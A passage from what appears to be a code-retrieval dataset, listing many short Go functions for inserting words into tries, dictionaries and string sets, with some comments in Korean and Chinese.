Lock map for cocurent access , and unlock it after operation is complete\n\tservice.mu.Lock()\n\tdefer service.mu.Unlock()\n\n\t// Check if synonym already exists\n\tif _, ok := service.Synonyms[synonym.Word]; ok {\n\t\treturn nil, status.ErrorSynonymAllreadyEsists\n\t}\n\n\t// Check if the word already exists\n\tif val, ok := service.Synonyms[word.Word]; ok {\n\n\t\t*val = append(*val, synonym)\n\t\tservice.Synonyms[synonym.Word] = val\n\t\treturn val, 0\n\n\t}\n\n\treturn nil, status.ErrorWordDoesNotExist\n\n}","func (this *Trie) Insert(word string) {\n\tcurr := this\n\tfor _, c := range word {\n\t\tif curr.next[c-'a'] == nil {\n\t\t\tcurr.next[c-'a'] = &Trie{}\n\t\t}\n\t\tcurr = curr.next[c-'a']\n\t}\n\tcurr.isWord = true\n}","func (this *Trie) Insert(word string) {\n\tfor i := 0; i < len(word); i++ {\n\t\tif this.son[word[i]-'a'] == nil {\n\t\t\tthis.son[word[i]-'a'] = &Trie{word[i] - 'a', false, [26]*Trie{}}\n\t\t}\n\t\tthis = this.son[word[i]-'a']\n\t}\n\tthis.isWord = true\n}","func (this *Trie) Insert(word string) {\n\n}","func (s stringSet) add(ss string) {\n\ts[ss] = struct{}{}\n}","func (store *KVStore) add(key string, val []byte, isOrigin bool) {\n\tstore.ht[key] = val\n\tstore.isOrigin[key] = isOrigin\n}","func (this *Trie) Insert(word string) {\n\tif word == \"\" {\n\t\treturn\n\t}\n\tindex := ([]byte(word[0:1]))[0] - byte('a')\n\tif this.child[index] == nil {\n\t\tthis.child[index] = &Trie{\n\t\t\twd: false,\n\t\t}\n\t}\n\n\tif word[1:] == \"\" {\n\t\tthis.child[index].wd = true\n\t\treturn\n\t} else {\n\t\tthis.child[index].Insert(word[1:])\n\t}\n\n}","func (this *Trie) Insert(word string) {\n\tnode := this\n\tfor _, v := range word {\n\t\tv = v - 'a'\n\t\tif node.next[v] == nil {\n\t\t\tnode.next[v] = &Trie{}\n\t\t}\n\t\tnode = node.next[v]\n\t}\n\tnode.isEnd = true\n}","func (this *Trie) Insert(word string) {\n\tbytes := []byte(word)\n\tif len(bytes) <= 0 {\n\t\treturn\n\t}\n\tfor key, value := range bytes {\n\t\t//如果数据存在\n\t\tif _, ok := this.nexts[value]; !ok {\n\t\t\t//如果数据不存在,创建\n\t\t\tthis.nexts[value] = &Trie{\n\t\t\t\tnexts: make(map[byte]*Trie),\n\t\t\t}\n\t\t}\n\t\tif key == len(bytes) - 1 {\n\t\t\tthis.nexts[value].isEnd = true\n\t\t}\n\t\tthis = this.nexts[value]\n\t}\n}","func add(i string) error {\n\treturn nil\n}","func (fm *ForthMachine) Add(w Word) (err error) {\n\treturn fm.d.Add(w)\n}","func (t *Tokeniser) put(b byte) {\n\tt.inWord = true\n\tt.word = append(t.word, b)\n}","func (this *Trie) Insert(word string) {\n\tcur := this.root\n\n\t// go through word\n\tfor _, c := range word {\n\t\t// check if not already in children\n\t\tif _, ok := cur.children[c]; !ok {\n\t\t\t// create\n\t\t\tcur.children[c] = &TrieNode{map[rune]*TrieNode{}, false}\n\t\t}\n\t\t// set next\n\t\tcur = cur.children[c]\n\t}\n\n\t// mark as end of word\n\tcur.isEnd = true\n}","func (this *Trie) Insert(word string) {\n if len(word) == 0 {return}\n if this.path == nil {\n this.path = make([]*Trie, 26)\n }\n if this.path[word[0] - 'a'] == nil {\n this.path[word[0]-'a'] = &Trie{}\n this.path[word[0]- 'a'].end = len(word) == 1\n } else {\n if !this.path[word[0]- 'a'].end {\n this.path[word[0]- 'a'].end = len(word) == 1\n }\n }\n this = this.path[word[0]-'a']\n this.Insert(word[1:])\n}","func (m *store) Insert(w ukjent.Word) error {\n\tgot, err := m.get(w.Word)\n\tif err == nil {\n\t\treturn base.TranslationExists(got.Word, got.Translation)\n\t}\n\n\tdefer m.withWrite()()\n\tm.data[w.Word] = entry{w.Translation, w.Note}\n\treturn nil\n}","func (this *Trie) Insert(word string) {\n\tcur := this.Root\n\tfor _, c := range word {\n\t\tif _, ok := cur.Child[c]; !ok {\n\t\t\tcur.Child[c] = &Node{\n\t\t\t\tChild: map[rune]*Node{},\n\t\t\t}\n\t\t}\n\t\tcur = cur.Child[c]\n\t}\n\tcur.Value = true\n}","func (this *Trie) Insert(word string) {\n for _,v := range word{\n if this.name[v-'a'] == nil{\n this.name[v-'a'] = new(Trie)\n fmt.Println(this.name)\n }\n this = this.name[v-'a']\n \n }\n \n this.isWord = true\n}","func (this *Trie) Insert(word string) {\n\tcur := this.root\n\tfor _, v := range []byte(word) {\n\t\tif cur.children[v-'a'] == nil {\n\t\t\tcur.children[v-'a'] = &TrieNode{children: make([]*TrieNode, 26)}\n\t\t}\n\t\tcur = cur.children[v-'a']\n\t}\n\tcur.word = word\n}","func (trie *Trie) Insert(word string) {\n\tnodeObj, foundFunc := trie.FindNode(word)\n\t// case: node already exists & is a terminal\n\tif foundFunc {\n\t\tif nodeObj.Terminal {\n\t\t\treturn\n\t\t}\n\n\t}\n\n\tnodeObj = trie.Root\n\tfor _, char := range word {\n\t\t_, found := nodeObj.Children[string(char)]\n\n\t\t// case: if the letter does not exist as a child from current node\n\t\tif !found {\n\t\t\tnewChildNode := node.NewNode(string(char))\n\t\t\tnodeObj.AddChildren(string(char), newChildNode)\n\t\t\t// traverse tree\n\t\t}\n\t\tnodeObj = nodeObj.Children[string(char)]\n\n\t}\n\n\t// set node terminal to true at the end of word iteration\n\tnodeObj.Terminal = true\n\n\ttrie.Size++\n}","func (s Set) Add(st string) {\n\tif _, ok := s[st]; !ok {\n\t\ts[st] = true\n\t}\n}","func (s *Store) add(id string, e Entry) (err error) {\n\tutils.Assert(!utils.IsSet(e.ID()) || id == e.ID(), \"ID must not be set here\")\n\tif _, exists := (*s)[id]; exists {\n\t\treturn fmt.Errorf(\"Found multiple parameter definitions with id '%v'\", id)\n\t}\n\n\tif !utils.IsSet(e.ID()) {\n\t\te.setID(id)\n\t}\n\t(*s)[id] = e\n\treturn nil\n}","func (t *Trie) Insert(word string) {\n\tif t.Search(word) {\n\t\treturn\n\t}\n\n\troot := t.Root\n\tfor _, r := range word {\n\t\tif n, ok := hasChild(r, root.Children); ok {\n\t\t\troot = n\n\t\t} else {\n\t\t\tnewNode := &Node{r, nil}\n\t\t\troot.Children = append(root.Children, newNode)\n\t\t\troot = newNode\n\t\t}\n\t}\n\tleaf := &Node{'*', nil}\n\troot.Children = append(root.Children, leaf)\n}","func (this *Trie) Insert(word string) {\n\n\tcur := this\n\tfor i := 0; i < len(word); i++ {\n\t\tb := word[i]\n\t\tif cur.next[b-97] == nil {\n\t\t\tcur.next[b-97] = new(Trie)\n\t\t}\n\t\tcur = cur.next[b-97]\n\t}\n\tcur.isEnd = true\n}","func (trie *Trie) addMovie(s string, id int) {\n\ts = strings.ToLower(s)\n\n\tres := strings.Fields(s)\n\n\tstrings.ToLower(s)\n\n\tif trie.root == nil {\n\t\ttmp := new(TNode)\n\t\ttmp.isword = false\n\t\ttmp.cnodes = make(map[string]*TNode)\n\t\ttrie.root = tmp\n\t}\n\n\tfor i := range res {\n\t\ttrie.root.addString(res[i], id)\n\t}\n}","func (t *Trie) Insert(word string) {\n\tp := t.root\n\twordArr := []rune(word)\n\tvar i int\n\n\tfor i = 0; i < len(wordArr); i++ {\n\t\tif p.edges[wordArr[i]-'a'] == nil {\n\t\t\tbreak\n\t\t} else {\n\t\t\tp = p.edges[wordArr[i]-'a']\n\t\t}\n\t}\n\n\tfor ; i < len(wordArr); i++ {\n\t\tp.edges[wordArr[i]-'a'] = &TrieNode{}\n\t\tp = p.edges[wordArr[i]-'a']\n\t}\n\tp.isWord = true\n}","func (this *Trie) Insert(word string) {\n\tnode := this\n\n\tfor _, char := range word {\n\t\tchar -= 'a'\n\t\tif node.children[char] == nil {\n\t\t\tnode.children[char] = &Trie{}\n\t\t}\n\t\tnode = node.children[char]\n\t}\n\n\tnode.isEnd = true\n}","func (index *ind) add(value string) {\n\tvar halfhash string\n\n\tif len(value) <= hashKeySize {\n\t\thalfhash = value\n\t} else {\n\t\thalfhash = value[:hashKeySize]\n\t}\n\n\tindex.Storage[halfhash] = append(index.Storage[halfhash], value)\n}","func (t *Trie) Insert(word string) {\n\ttmp := t\n\tfor _, c := range word {\n\t\tif _, val := tmp.links[string(c)]; !val {\n\t\t\tnt := Constructor()\n\t\t\ttmp.links[string(c)] = &nt\n\t\t}\n\t\ttmp = tmp.links[string(c)]\n\t}\n\ttmp.isEnd = true\n}","func (this *Trie) Insert(word string) {\n\tnode := this\n\tfor i := 0; i <= len(word); i++ {\n\t\tif i == len(word) {\n\t\t\tnode.endOfWord = true\n\t\t\treturn\n\t\t}\n\t\tidx := word[i] - 'a'\n\t\tif node.children[idx] == nil {\n\t\t\tnode.children[idx] = &Trie{}\n\t\t}\n\t\tnode = node.children[idx]\n\t}\n}","func (t *Trie) Insert(word string) {\n\tcur := t.Root\n\tfor _, c := range word {\n\t\tfmt.Print(c)\n\t\t_, ok := cur.Next[c]\n\t\tif !ok {\n\t\t\tcur.Next[c] = &Node{\n\t\t\t\tNext: make(map[rune] *Node),\n\t\t\t}\n\t\t}\n\n\t\tcur = cur.Next[c]\n\t}\n\n\tif !cur.IsWord {\n\t\tcur.IsWord = true\n\t}\n\n}","func Add(key string, lang map[string]string) {\n\tLang[key] = lang\n}","func (t *Trie) Insert(word string) {\n\tcurr := t.Root\n\tfor _, char := range word {\n\t\tif _, ok := curr.Children[char]; !ok {\n\t\t\tcurr.Children[char] = &TrieNode{}\n\t\t}\n\t\tcurr = curr.Children[char]\n\t}\n\tcurr.IsLeaf = true\n}","func (t *Trie) Insert(word string) {\n\twordLength := len(word)\n\tcurrent := t.root\n\tfor i := 0; i < wordLength; i++ {\n\t\tindex := word[i] - 'a'\n\t\tif current.children[index] == nil {\n\t\t\tcurrent.children[index] = &TrieNode{}\n\t\t}\n\t\tcurrent = current.children[index]\n\t}\n\tcurrent.isWordEnd = true\n}","func (this *WordsFrequency) Insert(word string) {\n\ttemp := this\n\tfor _, v := range word {\n\t\tnxt := v - 'a'\n\t\tif temp.next[nxt] == nil {\n\t\t\ttemp.next[nxt] = &WordsFrequency{}\n\t\t}\n\t\ttemp = temp.next[nxt]\n\t}\n\ttemp.ending += 1\n}","func (s String) Add(item string) {\n\ts[item] = DummyValue\n}","func (r *MongoRepository) add(definition *Definition) error {\n\tsession, coll := r.getSession()\n\tdefer session.Close()\n\n\tisValid, err := definition.Validate()\n\tif false == isValid && err != nil {\n\t\tlog.WithError(err).Error(\"Validation errors\")\n\t\treturn err\n\t}\n\n\t_, err = coll.Upsert(bson.M{\"name\": definition.Name}, definition)\n\tif err != nil {\n\t\tlog.WithField(\"name\", definition.Name).Error(\"There was an error adding the resource\")\n\t\treturn err\n\t}\n\n\tlog.WithField(\"name\", definition.Name).Debug(\"Resource added\")\n\treturn nil\n}","func (p *WCSPayload) Add(key string, value string) {\n\tif key != \"\" && value != \"\" {\n\t\tfor _, v := range validkeys {\n\t\t\tif v == key {\n\t\t\t\tp.wcs[key] = value\n\t\t\t}\n\t\t}\n\t}\n}","func (this *Trie) Insert(word string) {\n\ttrie := this\n\tfor _, char := range word {\n\t\tisLeaf := false\n\t\tif trie.childs[char-97] == nil {\n\t\t\ttrie.childs[char-97] = &Trie{isLeaf: isLeaf}\n\t\t}\n\t\ttrie = trie.childs[char-97]\n\t}\n\ttrie.isLeaf = true\n}","func (this *Trie) Insert(word string) {\n\tn := this.root\n\n\tfor i := 0; i < len(word); i++ {\n\t\twid := word[i] - 'a'\n\t\tif n.children[wid] == nil {\n\t\t\tn.children[wid] = &node{\n\t\t\t\tch: word[i : i+1],\n\t\t\t\tchildren: [26]*node{},\n\t\t\t\tisWordOfEnd: false,\n\t\t\t}\n\t\t}\n\t\tn = n.children[wid]\n\t}\n\tn.isWordOfEnd = true\n}","func (t *Trie) Insert(word string) {\n\tnode := t\n\tfor _, c := range word {\n\t\tchar := c - 'a'\n\t\tif node.chars[char] == nil {\n\t\t\tnode.chars[char] = &Trie{isEnd: false, chars: [26]*Trie{}}\n\t\t}\n\t\tnode = node.chars[char]\n\t}\n\tnode.isEnd = true\n}","func (ss *StringSet) Add(aString string) {\n\tif ss.Contains(aString) {\n\t\treturn\n\t}\n\n\tss.members[aString] = keyExists\n}","func (this *Trie) Insert(word string) {\n\tnode := this\n\tn := len(word)\n\tfor i := 0; i < n; i++ {\n\t\t// 找到对应子树\n\t\tidx := word[i] - 'a'\n\t\tif node.sons[idx] == nil {\n\t\t\tnode.sons[idx] = &Trie{val: word[i]}\n\t\t}\n\t\t// 当前节点=字典子树\n\t\tnode = node.sons[idx]\n\t}\n\tnode.end++\n}","func (s Set) add(k string, a...Symbol) {\n\n\tfor _, v := range a {\n\t\tif b, _ := s.contains(k, v); !b {\n\t\t\ts[k] = append(s[k], v)\n\t\t}\n\t}\n}","func (this *Trie) Insert(word string) {\n\tif len(word) == 0 {\n\t\tthis.end = true\n\t\treturn\n\t}\n\tfor _, e := range this.edges {\n\t\tif e.char == word[0] {\n\t\t\te.next.Insert(word[1:])\n\t\t\treturn\n\t\t}\n\t}\n\te := &edge{\n\t\tchar: word[0],\n\t\tnext: new(Trie),\n\t}\n\tthis.edges = append(this.edges, e)\n\te.next.Insert(word[1:])\n}","func (s *set) Add(t *Term) {\n\ts.insert(t)\n}","func (s *Set) Add(item string) {\n\ts.safeMap()\n\ts.m[item] = true\n}","func (s *Set) Add(key string) {\n\tif s.Get(key) == nil {\n\t\ts.Insert(&Element{\n\t\t\tKey: key,\n\t\t})\n\t}\n}","func (s *Set) Add(str string) bool {\n\tif s.Exist(str) {\n\t\treturn false\n\t}\n\ts.m[str] = struct{}{}\n\treturn false\n}","func (s Set) Add(k string) {\n\tif s.Contains(k) {\n\t\treturn\n\t}\n\ts.add(k)\n}","func (s StringSet) Add(item string) {\n\ts[item] = struct{}{}\n}","func (t *Trie) insert(letters, value string) {\n\tlettersRune := []rune(letters)\n\n\t// loop through letters in argument word\n\tfor l, letter := range lettersRune {\n\n\t\tletterStr := string(letter)\n\n\t\t// if letter in children\n\t\tif t.children[letterStr] != nil {\n\t\t\tt = t.children[letterStr]\n\t\t} else {\n\t\t\t// not found, so add letter to children\n\t\t\tt.children[letterStr] = &Trie{map[string]*Trie{}, \"\", []string{}}\n\t\t\tt = t.children[letterStr]\n\t\t}\n\n\t\tif l == len(lettersRune)-1 {\n\t\t\t// last letter, save value and exit\n\t\t\tt.values = append(t.values, value)\n\t\t\tbreak\n\t\t}\n\t}\n}","func (t *Trie) Insert(word string) {\n\tchars := t.toChars(word)\n\tr := t.root\n\tfor i := 0; i < len(chars); i++ {\n\t\tif _, ok := r.children[chars[i]]; !ok {\n\t\t\tr.children[chars[i]] = &node{\n\t\t\t\tend: false,\n\t\t\t\tchildren: make(map[string]*node),\n\t\t\t}\n\t\t}\n\t\tif i == len(chars)-1 {\n\t\t\tr.children[chars[i]].end = true\n\t\t}\n\t\tr = r.children[chars[i]]\n\t}\n}","func (h Hash) Add(in string) bool {\n\tif _, ok := h[in]; ok {\n\t\t// already in the set\n\t\treturn false\n\t}\n\t// not in the set\n\th[in] = struct{}{}\n\treturn true\n}","func (set StringSet) Add(e string) {\n\tset[e] = true\n}","func (c *Corpus) Add(vals ...string) bool {\n\tfor _, v := range vals {\n\t\tif _, ok := c.words[v]; !ok {\n\t\t\tc.Size++\n\t\t\tc.words[v] = true\n\t\t}\n\t}\n\treturn true\n}","func (g *Goi18n) add(lc *locale) bool {\n\tif _, ok := g.localeMap[lc.lang]; ok {\n\t\treturn false\n\t}\n\n\tg.mu.Lock()\n\tdefer g.mu.Unlock()\n\tif err := lc.Reload(g.option.Path); err != nil {\n\t\treturn false\n\t}\n\tlc.id = len(g.localeMap)\n\tg.localeMap[lc.lang] = lc\n\tg.langs = append(g.langs, lc.lang)\n\tg.langDescs[lc.lang] = lc.langDesc\n\treturn true\n}","func (m *WordModel) AddWord(word string, freqCount float32) {\n\tm.builder.Add(word)\n\tm.frequencies = append(m.frequencies, freqCount)\n}","func (s StringSet) Add(x string) { s[x] = struct{}{} }","func (a *ALU) PushWord(word uint16) {\n\ta.InternalRAM[a.StackPtr+1] = uint8(word)\n\ta.InternalRAM[a.StackPtr+2] = uint8(word >> 8)\n\ta.StackPtr += 2\n}","func (s StringSet) Add(key string) {\n\ts[key] = void\n}","func (g *wordGraph) include(word string) {\n\tif len(word) != g.n || !isWord(word) {\n\t\treturn\n\t}\n\tword = strings.ToLower(word)\n\tif _, exists := g.ids[word]; exists {\n\t\treturn\n\t}\n\n\t// We know the node is not yet in the graph, so we can add it.\n\tu := g.UndirectedGraph.NewNode()\n\tuid := u.ID()\n\tu = node{word: word, id: uid}\n\tg.UndirectedGraph.AddNode(u)\n\tg.ids[word] = uid\n\n\t// Join to all the neighbours from words we already know.\n\tfor _, v := range neighbours(word, g.ids) {\n\t\tv := g.UndirectedGraph.Node(g.ids[v])\n\t\tg.SetEdge(simple.Edge{F: u, T: v})\n\t}\n}","func (d Dictionary) Update(word, def string) error {\n\t_, err := d.Search(word)\n\n\tswitch err {\n\tcase nil:\n\t\td[word] = def\n\tcase errNotFound:\n\t\treturn errCannotUpdate\n\t}\n\n\treturn nil\n}","func (s *Set) Add(val string) {\n\ts.set[val] = true\n}","func (s *StrSet) Add(element string) {\n\ts.els[element] = true\n}","func (tnode *TNode) addString(s string, id int) {\n\tcur := tnode\n\tif len(s) == 0 {\n\t\treturn\n\t}\n\tfor _, c := range s {\n\t\tif cur.cnodes[string(c)] == nil {\n\t\t\ttmp := new(TNode)\n\t\t\ttmp.isword = false\n\t\t\ttmp.cnodes = make(map[string]*TNode)\n\t\t\tcur.cnodes[string(c)] = tmp\n\t\t}\n\t\tcur = cur.cnodes[string(c)]\n\t}\n\n\tcur.isword = true\n\tcur.ids = append(cur.ids, id)\n}","func (r Dictionary) Update(word string, definition string) error {\n\t_, err := r.Search(word)\n\tswitch err {\n\tcase ErrWordNotFound:\n\t\treturn ErrKeyWordNotExist\n\tcase nil:\n\t\tr[word] = definition\n\tdefault:\n\t\treturn err\n\t}\n\treturn nil\n}"],"string":"[\n \"func (this *WordDictionary) AddWord(word string) {\\n \\n}\",\n \"func (d Dictionary) Add(word, def string) error {\\n\\t_, err := d.Search(word)\\n\\n\\tswitch err {\\n\\tcase errNotFound:\\n\\t\\td[word] = def\\n\\tcase nil:\\n\\t\\treturn errWordExist\\n\\t}\\n\\treturn nil\\n}\",\n \"func (d Dictionary) Add(word, def string) error {\\n\\t_, err := d.Search(word)\\n\\tif err != nil {\\n\\t\\td[word] = def\\n\\t\\treturn nil\\n\\t}\\n\\tfmt.Println(err)\\n\\treturn errIsExist\\n}\",\n \"func (d Dictionary) Add(word, def string) error {\\r\\n\\t_, err := d.Search(word)\\r\\n\\tswitch err {\\r\\n\\tcase errNotFound: //단어 없으면\\r\\n\\t\\td[word] = def // 단어 추가\\r\\n\\tcase nil: // 단어 있으면\\r\\n\\t\\treturn errWordExists //단어 존재한다고 에러메시지 반환\\r\\n\\t}\\r\\n\\treturn nil // 단어 추가하고 nil 반환\\r\\n}\",\n \"func (d Dictionary) Add(word, def string) error {\\n\\n\\t// [if style]\\n\\t_, err := d.Search(word)\\n\\n\\tif err == errNotFound {\\n\\t\\td[word] = def\\n\\t} else if err == nil {\\n\\t\\treturn errWordExists\\n\\t}\\n\\n\\treturn nil\\n\\n\\t// [switch style]\\n\\t/*\\n\\t\\t_, err := d.Search(word)\\n\\n\\t\\tswitch err {\\n\\t\\tcase errNotFound:\\n\\t\\t\\td[word] = def\\n\\t\\tcase nil:\\n\\t\\t\\treturn errWordExists\\n\\t\\t}\\n\\n\\t\\treturn nil\\n\\t*/\\n}\",\n \"func (r Dictionary) Add(word string, definition string) error {\\n\\t_, err := r.Search(word)\\n\\tswitch err {\\n\\tcase ErrWordNotFound:\\n\\t\\tr[word] = definition\\n\\tcase nil:\\n\\t\\treturn ErrKeyWordDuplicate\\n\\tdefault:\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (this *WordDictionary) AddWord(word string) {\\n\\tp := &this.root\\n\\tfor i := 0; i < len(word); i++ {\\n\\t\\tj := word[i] - 'a'\\n\\t\\tif p.children[j] == nil {\\n\\t\\t\\tp.children[j] = new(trieNode)\\n\\t\\t}\\n\\t\\tp = p.children[j]\\n\\t}\\n\\tp.exist = true\\n}\",\n \"func addWord(words map[string]int) {\\n\\n\\treader := r.NewReader(os.Stdin)\\n\\n\\t// Get a kewyowrd\\n\\tf.Println(\\\"Give a word:\\\")\\n\\tf.Println(\\\"Warning, giving a prexisting word will update the value\\\")\\n\\ttext, err := reader.ReadString('\\\\n')\\n\\n\\t// Hate this repetitious if err return\\n\\tif err != nil {\\n\\t\\tf.Println(err)\\n\\t\\treturn\\n\\t}\\n\\n\\tkey := ss.Replace(text, \\\"\\\\n\\\", \\\"\\\", -1)\\n\\tf.Printf(\\\"[%q] recieved...\\\\n\\\", key)\\n\\n\\t// Get a value\\n\\tval := getVal(words)\\n\\tif val == 0 {\\n\\t\\treturn\\n\\t}\\n\\n\\t// Maps are always passed by reference conveniently\\n\\twords[key] = val\\n\\n}\",\n \"func (this *WordDictionary) AddWord(word string) {\\n\\tcur := this.root\\n\\n\\tfor _, w := range []rune(word) {\\n\\t\\tc := string(w)\\n\\t\\tif cur.next[c] == nil {\\n\\t\\t\\tcur.next[c] = getNode()\\n\\t\\t}\\n\\t\\tcur = cur.next[c]\\n\\t}\\n\\n\\tcur.isWord = true\\n}\",\n \"func (this *WordDictionary) AddWord(word string) {\\n\\tnode := this.root\\n\\tfor _, c := range word {\\n\\t\\tif node.next[c-'a'] != nil {\\n\\t\\t\\tnode = node.next[c-'a']\\n\\t\\t} else {\\n\\t\\t\\tnewNode := TrieNode{}\\n\\t\\t\\tnewNode.next = make([]*TrieNode, 26)\\n\\t\\t\\tnode.next[c-'a'] = &newNode\\n\\t\\t\\tnode = &newNode\\n\\t\\t}\\n\\t}\\n\\tnode.finished = true\\n}\",\n \"func addWord(root *TrieNode, s string) bool {\\n\\tnd := root\\n\\tfor i := range s {\\n\\t\\tif _, ok := nd.move[s[i]]; !ok {\\n\\t\\t\\tnd.move[s[i]] = &TrieNode{move: make(map[uint8]*TrieNode)}\\n\\t\\t}\\n\\t\\tnd = nd.move[s[i]]\\n\\t}\\n\\tok := !nd.final\\n\\tnd.final = true\\n\\treturn ok\\n}\",\n \"func (this *WordDictionary) AddWord(word string) {\\n\\tvar nowChar *WordDictionary = this\\n\\tvar next *WordDictionary\\n\\tfor i, char := range word {\\n\\t\\tcharIdx := char - a\\n\\t\\tnext = nowChar.Nexts[charIdx]\\n\\t\\tif next == nil {\\n\\t\\t\\twordDict := Constructor()\\n\\t\\t\\tnowChar.Nexts[charIdx] = &wordDict\\n\\t\\t\\tnext = &wordDict\\n\\t\\t}\\n\\t\\tnowChar = next\\n\\t\\tif i == len(word)-1 {\\n\\t\\t\\tnowChar.HasTerminate = true\\n\\t\\t}\\n\\t}\\n}\",\n \"func (tp *Trie) AddWord(word string) int {\\n\\treturn tp.Add([]rune(word))\\n}\",\n \"func (cMap *MyStruct) AddWord(word string){\\n\\tcMap.adding <- word\\n}\",\n \"func (m Model) AddWord(word string) *Word {\\n\\tw := Word{Word: word}\\n\\tif _, err := m.PG.Model(&w).Where(\\\"word = ?\\\", word).SelectOrInsert(); err != nil {\\n\\t\\tlog.Printf(\\\"failed select or insert word \\\\\\\"%s\\\\\\\", message: %s\\\", word, err)\\n\\t}\\n\\tlog.Printf(\\\"processed word \\\\\\\"%s\\\\\\\"\\\", word)\\n\\treturn &w\\n}\",\n \"func (trie *Trie) AddWord(word string) {\\n\\tcurrentNode := trie.Root\\n\\tfor _, ch := range word {\\n\\t\\tcurrentNode = currentNode.AddAndGetChild(ch)\\n\\t}\\n\\tcurrentNode.MarkAsTerminal()\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tthis.dict[word] = true\\n\\tfor i := 0; i < len(word); i++ {\\n\\t\\tthis.dictPrefix[word[:i]] = true\\n\\t}\\n\\n}\",\n \"func (d *Decoder) AddWord(word, phones String, update bool) (id int32, ok bool) {\\n\\tret := pocketsphinx.AddWord(d.dec, word.S(), phones.S(), b(update))\\n\\tif ret < 0 {\\n\\t\\treturn 0, false\\n\\t}\\n\\treturn ret, true\\n}\",\n \"func (this *Trie) Insert(word string) {\\n node := this\\n \\n for _, v := range word {\\n if !node.containsKey(v) {\\n node.put(v, &Trie{})\\n }\\n \\n node = node.get(v)\\n }\\n \\n node.isEnd = true\\n}\",\n \"func (t *Trie) Add(word string, data interface{}) (Node, error) {\\n\\tif len(word) == 0 {\\n\\t\\treturn nil, fmt.Errorf(\\\"no string to add\\\")\\n\\t}\\n\\n\\trunes := []rune(word)\\n\\treturn t.addAtNode(t.Root, runes, data)\\n}\",\n \"func (this *Trie) Insert(word string) {\\n node := this.root\\n for _, r := range word {\\n _, existed := node.children[r]\\n if !existed {\\n node.children[r] = newNode()\\n }\\n node = node.children[r]\\n }\\n node.isWord = true\\n}\",\n \"func (t *Trie) InsertWord(word string) {\\n\\trunner := t.Root\\n\\n\\tfor _, currChar := range word {\\n\\t\\tif _, ok := runner.Children[currChar]; !ok {\\n\\t\\t\\trunner.Children[currChar] = NewNode()\\n\\t\\t}\\n\\t\\trunner = runner.Children[currChar]\\n\\t}\\n\\n\\trunner.IsWord = true\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tthis.words[len(word)] = append(this.words[len(word)], word)\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\n\\tfor _,v:=range word{\\n\\t\\tif _,ok:=this.next[string(v)];!ok{\\n\\t\\t\\tthis.next[string(v)] = &Trie{\\n\\t\\t\\t\\tisword:false,next:make(map[string]*Trie,0),\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tthis,_ = this.next[string(v)]\\n\\t}\\n\\tif this.isword==false{\\n\\t\\tthis.isword = true\\n\\t}\\n}\",\n \"func (tp *Trie) Add(word []rune) int {\\n\\ts := tp.Init\\n\\tfor _, c := range word {\\n\\t\\tif _, ok := s.Success[c]; !ok {\\n\\t\\t\\tns := tp.NewState()\\n\\t\\t\\ts.Success[c] = ns\\n\\t\\t}\\n\\t\\ts = s.Success[c]\\n\\t}\\n\\n\\ts.Accept = true\\n\\n\\treturn s.ID\\n}\",\n \"func (d Dictionary) Add(key, value string) error {\\n\\t_, err := d.Search(key)\\n\\tswitch err {\\n\\tcase ErrNotFound:\\n\\t\\td[key] = value\\n\\tcase nil:\\n\\t\\treturn ErrKeyExists\\n\\tdefault:\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tt := this\\n\\tfor i := range word {\\n\\t\\tif t.trie == nil {\\n\\t\\t\\tt.trie = make([]node, 26)\\n\\t\\t}\\n\\n\\t\\tt.trie[word[i]-'a'].exist = true\\n\\t\\tif i == len(word)-1 {\\n\\t\\t\\tt.trie[word[i]-'a'].word = true\\n\\t\\t}\\n\\t\\tt = &t.trie[word[i]-'a'].trie\\n\\t}\\n}\",\n \"func addWord(root *TrieNode, word string, idx int) {\\n for i := 0; i < len(word); i++ {\\n if isPalindrome(word[i:]) {\\n root.match[idx] = true\\n }\\n offset := word[i]-'a'\\n if root.nodes[offset] == nil {\\n root.nodes[offset] = &TrieNode{idx:-1, match: make(map[int]bool)} \\n }\\n root = root.nodes[offset]\\n }\\n root.idx = idx\\n root.match[idx] = true // \\\"\\\" is the rest of any string, and is also a palindrome.\\n}\",\n \"func (d *Library) Add(o Word, t Word) {\\n\\tif false == d.Exists(o) {\\n\\t\\tdict := &Dictionary{Translations: map[Word][]Word{}}\\n\\t\\td.Append(o.Locale, dict)\\n\\t}\\n\\n\\ttr := d.Dictionaries[o.Locale]\\n\\ttr.Add(o, t)\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\tptr := this\\n\\tfor _, r := range word {\\n\\t\\tif _, ok := ptr.Kids[r]; !ok {\\n\\t\\t\\tptr.Kids[r] = &Trie{Exists: false, Kids: make(map[rune]*Trie, int('z')-int('a')+1)}\\n\\t\\t}\\n\\t\\tptr = ptr.Kids[r]\\n\\t}\\n\\tptr.Exists = true\\n}\",\n \"func (service *SynonymService) AddWords(word *vm.Word) (*[]vm.Word, int64) {\\n\\n\\t// Lock map for cocurent access , and unlock it after operation is complete\\n\\tservice.mu.Lock()\\n\\tdefer service.mu.Unlock()\\n\\n\\t// Check if the word already exists\\n\\tif _, ok := service.Synonyms[word.Word]; ok {\\n\\t\\treturn nil, status.ErrorSynonymAllreadyEsists\\n\\n\\t}\\n\\n\\t// If the word did not exist before register it and return the empty initialised slice of words\\n\\twords := []vm.Word{*word}\\n\\tservice.Synonyms[word.Word] = &words\\n\\n\\treturn &words, 0\\n\\n}\",\n \"func (this *Trie) Insert(word string) {\\n\\thead := this\\n\\tfor e := range word {\\n\\t\\tif head.data[word[e]-'a'] == nil {\\n\\t\\t\\thead.data[word[e]-'a'] = &Trie{}\\n\\t\\t}\\n\\t\\thead = head.data[word[e]-'a']\\n\\t}\\n\\thead.now = true\\n}\",\n \"func (l *SLexicon) AddSemantic(word string, semantic string) {\\n\\tl.Lock() // one at a time\\n\\tdefer l.Unlock()\\n\\n\\tl.Semantic[word] = strings.ToLower(semantic)\\n\\tl.testAndAddCompoundWord(word) // add this item to the compound word set\\n}\",\n \"func (trie *Trie) Add(word string) *Trie {\\n\\tletters, node, i := []rune(word), trie, 0\\n\\tn := len(letters)\\n\\n\\tfor i < n {\\n\\t\\tif exists, value := node.hasChild(letters[i]); exists {\\n\\t\\t\\tnode = value\\n\\t\\t} else 